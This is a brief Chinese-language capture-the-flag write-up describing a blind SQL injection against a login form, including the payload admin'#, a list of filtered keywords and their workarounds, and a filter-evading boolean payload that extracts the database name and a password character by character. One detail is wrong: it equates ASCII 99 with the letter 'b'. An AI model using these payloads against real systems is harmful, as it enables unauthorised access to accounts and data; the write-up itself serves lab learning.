这里稍微测试后,直接得到正确账号名admin
开始测试
构建语句
admin'#
成功闭合
得到=、空格、and、+、,、()等关键字全被过滤
这也太过分了,连逗号都过滤了。。。
=使用<>代替
空格可以使用or()解决
,可以使用from(1)解决
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)#
这里利用ASCII码对数据库名称进行提取,得到第一个为ASCII码99,得到为字母b
以此继续,得到password
为bugkuctf